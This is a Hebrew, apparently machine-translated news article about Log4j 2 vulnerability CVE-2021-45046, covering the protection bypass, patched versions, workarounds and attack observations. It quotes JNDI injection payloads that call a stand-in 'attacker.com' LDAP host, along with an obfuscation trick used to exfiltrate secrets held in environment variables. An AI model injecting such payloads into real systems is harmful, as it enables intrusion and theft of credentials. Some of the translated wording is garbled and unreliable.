הם זיהו פגיעות נוספת Log4j 2 המאפשרת ביצוע קוד זדוני

log4j

לאחרונה פורסמה הידיעה שכן זיהה פגיעות נוספת ביישום בדיקת JNDI בספריית Log4j 2 (CVE-2021-45046), המתרחשת למרות התיקונים שנוספו בגרסה 2.15 וללא קשר לשימוש בהגדרת ההגנה "log4j2.noFormatMsgLookup".

הבעיה זה מסוכן במיוחד עבור גרסאות ישנות יותר של Log4j 2, מוגן בדגל "noFormatMsgLookup", שכן הוא מאפשר לך לעקוף הגנה מפני פגיעויות קודמות (Log4Shell, CVE-2021-44228), מה שמאפשר לך להריץ את הקוד שלך בשרת.

עבור משתמשי גרסה 2.15, הפעולה מוגבלת ליצירת תנאים בגין סיום חריג של הבקשה עקב מיצוי המשאבים הזמינים.

פגיעות זה משפיע רק על מערכות המשתמשות בחיפוש הקשר, כגון $ {ctx: loginId}, או תבניות Thread Context Map (MDC), כגון% X,% mdc ו-% MDC, לרישום.

הפעולה מסתכמת ביצירת תנאים לשליחת נתונים המכילים תחליפי JNDI לרישום בעת שימוש בשאילתות הקשר או תבניות MDC באפליקציה, הקובעות את הכללים לעיצוב הפלט לרישום.

ل חוקרי LunaSec ציינו מאשר עבור גרסאות Log4j נמוכות מ-2.15, פגיעות זו יכולה לשמש כווקטור חדש להתקפת Log4Shell, מה שמוביל לביצוע קוד אם נעשה שימוש בביטויי ThreadContext בעת פרסום לרישום, הכולל נתונים חיצוניים, ללא קשר אם הדגל מוגדר להגנה. תבנית "NoMsgFormatLookups" או "% m {nolookups}".

מעקף ההגנה מצטמצם לעובדה שבמקום ההחלפה הישירה "$ {jndi: ldap: //example.com/a}", ביטוי זה מוחלף בערך של משתנה ביניים המשמש בכללים לעיצוב צ'ק-אאוט הקופה.

לדוגמה, אם נעשה שימוש בבקשת ההקשר $ {ctx: apiversion} בעת שליחה לרישום, ניתן לבצע את ההתקפה על ידי החלפת הנתונים "$ {jndi: ldap: //attacker.com/a}" בערך נכתב למשתנה סטייה.

בגרסה Log4j 2.15, ניתן להשתמש בפגיעות לביצוע התקפות DoS בעת העברת ערכים ל-ThreadContext, אשר עובר בלולאה דרך עיבוד דפוסי הפלט.

כדי להיות מסוגל לנסות לפתור את הבעיות שנתקל בהן עדכונים 2.16 ו-2.12.2 שוחררו כדי לחסום את הפגיעות. בענף Log4j 2.16, בנוסף לתיקונים המיושמים בגרסה 2.15 והכריכה של בקשות JNDI LDAP ל-"localhost", כברירת מחדל, פונקציונליות JNDI מושבתת לחלוטין והתמיכה בתבניות החלפת הודעות הוסרה.

כדרך לעקיפת הבעיה, מומלץ להסיר את המחלקה JndiLookup מ-classpath (לדוגמה, "zip -q -d log4j-core - *. Jar org /apache/logging/log4j/core/lookup/JndiLookup.class").

כ פעולות שננקטו על ידי הפרויקטים השונים:

כדי nginxבהתבסס על מודול njs, הוכן סקריפט שחוסם את השידור של ביטויי JNDI בכותרות HTTP, URI וגוף בקשות POST. ניתן להשתמש בסקריפט בשרתי קצה כדי להגן על קצה אחורי.
עבור HAProxy, כללי תצורה מסופקים כדי לחסום את הפעולה של CVE-2021-44228.

בנוסף להתקפות שזוהו בעבר שמטרתן היווצרות רשת בוט לכריית מטבעות קריפטוגרפיים, בוצעו ניצול פגיעות ב-Log4J 2 כדי להפיץ תוכנות כופר זדוניות המצפינות את תוכן הדיסקים ודורשות כופר עבור פענוח.

המחסום זיהה כ-60 גרסאות סוגים שונים של ניצולים המשמשים להתקפות.

CloudFlare דיווח כי ניסיונות לבדוק את הביטוי של פגיעות ב-Log4j הם זוהו ב-1 בדצמבר, כלומר 8 ימים לפני החשיפה לציבור של הבעיה. הניסיונות הראשונים לנצל את הפגיעות נרשמו 9 דקות בלבד לאחר חשיפת המידע. דוח CloudFlare מזכיר גם את השימוש בהחלפות כגון "$ {env: FOO: -j} ndi: $ {lower: L} נותן $ {lower: P}" כדי להשמיט את המסכה "jndi: ldap" והשימוש ב- $ {env} ביטויי תקיפה להעברת מידע על סיסמאות ומפתחות גישה המאוחסנים במשתני סביבה לשרת חיצוני, וביטויים $ {sys} לאיסוף מידע על המערכת.

בסופו של דבר אם אתה מעוניין לדעת יותר על כך אתה יכול לבדוק את הקישור הבא.


השאירו את התגובה שלכם

כתובת הדוא"ל שלך לא תפורסם. שדות חובה מסומנים *

*

*

  1. אחראי על הנתונים: AB Internet Networks 2008 SL
  2. מטרת הנתונים: בקרת ספאם, ניהול תגובות.
  3. לגיטימציה: הסכמתך
  4. מסירת הנתונים: הנתונים לא יועברו לצדדים שלישיים אלא בהתחייבות חוקית.
  5. אחסון נתונים: מסד נתונים המתארח על ידי Occentus Networks (EU)
  6. זכויות: בכל עת תוכל להגביל, לשחזר ולמחוק את המידע שלך.